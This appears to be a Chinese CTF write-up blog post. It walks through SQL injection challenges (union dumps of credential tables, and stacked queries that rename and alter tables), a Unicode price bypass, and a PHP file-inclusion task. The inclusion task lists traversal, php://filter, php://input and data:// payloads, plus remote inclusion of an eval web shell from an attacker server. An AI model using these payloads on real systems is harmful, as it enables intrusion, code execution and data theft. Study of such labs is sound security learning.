CTF^2
CTF^2
[极客大挑战 2019]LoveSQL wp
第一步有搜索框先使用万能密码尝试,注入点优先靠前,使用 来构造永真
1 or 1=1#数值型但是这里的#被过滤了所以使用%23等价于#注释符
1' or 1=1#字符型
密码随意
发现有结果但是不是flag
所以尝试联合型注入:
使用order by 数字来尝试
http://ef3f0a3e840734b568ada53e.http-ctf2.dasctf.com/check.php?username=1' or 1=1 order by
4%23&password=131
使用1' or 1=1 order by 1/2/3/4
当我们执行到4时发现页面有更改
这说明页面段数为3段
接下来查看响应段使用-1' union select 1,2,3%23 使用-1是为了抹除原来的内容
http://ef3f0a3e840734b568ada53e.http-ctf2.dasctf.com/check.php?username=1' union select 1,2,3%23&password=131
响应段为2和3
随后使用函数查看数据库database()代替2或者3
http://ef3f0a3e840734b568ada53e.http-ctf2.dasctf.com/check.php?username=1' union select 1,database(),3%23&password=131
能看到当前数据库为geek
所以使用-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()或者'geek'
解释一下查看本文档墨者学院sql注入题就行
可以看到两个表,接下来查看geekuser表中的字段名
使用-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='geekuser'
能看到三个字段,我们需要查看的是username,password 这两个
使用-1' union select 1,2,(select group_concat(id,'~',username,'~',password) from geekuser)
也可以写成-1' union select 1,2,group_concat(id,'~',username,'~',password) from geekuser
发现跟我们第一次万能密码结果一样,而且不存在其他记录了
所以我们查看另一个表就行
使用-1'union select 1,2,group_concat(column_name ) from information_schema.columns where table_name = 'l0ve1ysq1'
能看到字段名一样,所以使用
-1' union select 1,2,group_concat(id,'~',username,'~',password) from l0ve1ysq1
得到flag
梳理一下思路
遇到登录框先使用万能密码,再尝试数字型,字符型,联合型,布尔型,
如果是联合型就使用union 来注入
先得到数据库名,再得到表名,再得到字段名,再得到字段值
数据库名->表名->字段名->字段值
布尔型则需要大量爆破才行优先使用bp爆破和抓包
[强网杯 2019] 随便注
尝试数字型,字符型
发现属于字符型 1' and 1=1 --+ 和1' and 1=2 --+
寻找响应段数
发现当order by 为3时会报错,所以段数为2
然后查找响应段使用
-1' union select 1,2 --+
发现这里过滤 了select update delete drop insert where . 并且不区分大小写
所以不属于联合型注入,也不属于布尔盲注,报错注入
由于select已经被过滤了所以我们使用values来代替select效果差不多但是
格式是values(参数1,参数2,参数3......)
order by 有几段就有几个参数所以这里要写成
-1' union values(1,database())--+
数据库叫supersqli
接着可以查user(),version()等等
但是由于where被过滤了所以就先尝试堆叠注入
使用-1'; show databases--+ 查看所有数据库
-1'; show tables --+ 查看所有表
-1' ; show columns from `1919810931114514` --+这里切记要用反引号,因为mysql中纯数字的表名要用反引号才行
再查看words表字段
-1'; show columns from words--+
所以是查询id=1返回data值
由于flag在1919810931114514表里面我们要查看字段值就必须得用select
但是会触发过滤被丢弃,所以两种方法
方法一:使用handler 来读取
使用-1' ; handler `1919810931114514` open; handler `1919810931114514`read first; handler `1919810931114514` read next; --+
方法二:
改表名,已知默认从words里面打印值,所以我们可以将有flag值的表名改为words就行,但是需要将原来的words改名为其他的,且新的words必须有要查询的字段如id,data
使用1'; rename table words to jkjjk ; rename table `1919810931114514` to words; alter table words add id int unsigned not NULL auto_increment primary key; alter table words change flag data varchar(100); --+
- alter table words
- 作用:修改 words 表的结构。因为执行到这一步时,你已经把 flag 表改名成了 words,所以这句话是针对 flag 表操作的。
- add id
- 作用:给表里新增一个名为 id 的列。
- int unsigned
- 作用:规定这个 id 列的数据类型是无符号整数。
- int:整数(比如 1, 2, 3)。
- unsigned:不能为负数,范围从 0 开始。因为 ID 不可能为负数,这样写更规范。
- not NULL
- 作用:非空约束。规定这一列的数据不能是空的(NULL)。只要表里有数据,这个 id 就必须有值。
- auto_increment(重点)
- 作用:自动递增。这是 MySQL 特有的功能。它的意思是:当表里有一行数据时,这个 id 自动变成 1;有两行时,自动变成 2,不需要你手动去输入。
- primary key
- 作用:设置为主键。主键代表这一行的唯一标识。在 MySQL 中,要想使用 auto_increment(自动递增),这个字段必须被设置为主键。
- change 字段名 新字段名 类型
1. [SUCTF 2019]EasySQL
打开靶场
先判断类型属于字符型还是数字型
尝试1
尝试2
发现返回结果一致所以尝试0判断是否为逻辑判断
没有结果所以应该是SQL语句大概是select input||flag值 from flag
再尝试1,2
返回两段值说明注入点在from 前面,所以可以尝试堆叠漏洞
使用1;show databases;
可以看到很多数据库,接下来查看表使用
1;show tables;
发现flag表,接下来查看字段名使用
1;show columns from flag;
感觉应该flag被过滤了,所以尝试绕过过滤试试
发现都不行
但是,我们使用逗号时会分段所以可以使用
*,1就行
1.1. [ASIS 2019]Unicorn shop
题目叫独角兽商店
打开网址看到
有四个商品价格分别是2,5,8,1337 后面的是语言解释分别是
下面则是购买分别是id和支付金额,先尝试1 和2
拿错货了,说明不是这个,继续尝试
当尝试到4时发现
说只允许一个字符,那就意味着,价格这里只能写一个字符而且还得大于等于1337元,先看源代码
建议使用ai帮忙分析
得出结论可以使用unicode编码
这是不安全的输入验证与业务逻辑漏洞,手法属于 Unicode 编码混淆绕过 先盲打都不行,信息收集 html源码注释<!--Ah,really important,seriously. -->说UTF-8/编码是解题关键,别按旧题的现成答案硬套 先对三·个商品id和price输入发现都显示Wrong commodity! 第4个price只能一个字节,正常1-9肯定价格不够、字符也输不了,测测后端用的是 int() / float() / decimal() / digit() 、unicodedata.numeric()来解析的,罗马数字 Ⅿ(U+216F,值=1000)只有 unicodedata.numeric()不会 Ⅿ抛异常、不会显示Error parsing money,显示You don't have enough money 所以就是numeric() 类解析,numeric('万') = 10000>1337 输入万来获得flag
这是别人的感悟,总结就是用一个字符比1337大就行,有万,还有
得到结果
[极客大挑战 2019]Secret File

先查看源码

发现一个可以跳转的url,点击一下

点击一下按钮试试

直接结束了,所以猜测存在自动跳转,使用bp抓包,按钮页面

先开启拦截,然后点击按钮

发送到重放器中去,

这就是刚刚跳过的文件,访问它,

发现要绕过waf,过滤了三个参数,
1. 如果没有过滤 ../(目录穿越)
危害:任意文件读取 + 日志投毒
-
直接读取敏感文件:攻击者可以跳出当前Web目录,读取服务器底层系统文件。
-
Payload:
?file=../../../../etc/passwd(Linux系统用户信息) -
Payload:
?file=../../../../Windows/win.ini(Windows系统文件)
-
-
读取源码:可以配合
php://filter读取Web目录外部的配置文件源码(如数据库账号密码)。-
Payload:
?file=php://filter/convert.base64-encode/resource=../../../../var/www/html/config.php
-
-
包含日志文件拿Shell(Log Poisoning):通过往服务器日志(如 Nginx 的
access.log或 SSH 的auth.log)里写入一句话木马,然后用../包含该日志文件,直接执行木马代码。
2. 如果没有过滤 tp(允许 http:// / ftp://)
危害:远程文件包含(RFI),直接执行任意代码
-
如果 PHP 配置中
allow_url_include = On(虽然现代PHP默认关闭,但老系统常有)。 -
攻击者可以在自己的服务器上放一个恶意脚本(比如
shell.txt,内容为<?php @eval($_POST['cmd']); ?>)。 -
然后通过漏洞直接包含这个远程文件:
-
Payload:
?file=http://攻击者服务器IP/shell.txt -
此时服务器会去下载并执行这个文件,攻击者直接获得 WebShell。
-
3. 如果没有过滤 input(允许 php://input)
危害:免上传直接执行代码(RCE)
-
php://input可以直接读取 POST 请求的原始数据。这意味着攻击者不需要在自己的服务器上搭环境,也不需要上传文件到目标服务器。 -
攻击者利用 Burp Suite 构造请求:
-
URL:
?file=php://input -
POST Body:
<?php system('whoami'); ?>
-
-
服务器直接执行 POST 里的代码(同样需要
allow_url_include = On)。
4. 如果没有过滤 data(允许 data://)
危害:协议流执行代码(RCE)
-
data://允许在 URL 中直接嵌入数据并当作文件包含。 -
攻击者可以直接在 URL 里写代码:
-
Payload:
?file=data://text/plain,<?php system('whoami'); ?> -
或者使用 Base64 避免特殊字符被拦截:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==(同样需要allow_url_include = On)。 - 可以使用
php://filter:指定使用的伪协议 - php://filter/[read=<过滤器名>]/[write=<过滤器名>]/resource=<要过滤的数据流>
- php://filter/convert.base64-encode/resource=flag.php
- 这段url代表,对flag.php采用base64编码形式输出,resource代表对象
-
convert.base64-decode代表base64解密输出
构造payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php就行








































浙公网安备 33010602011771号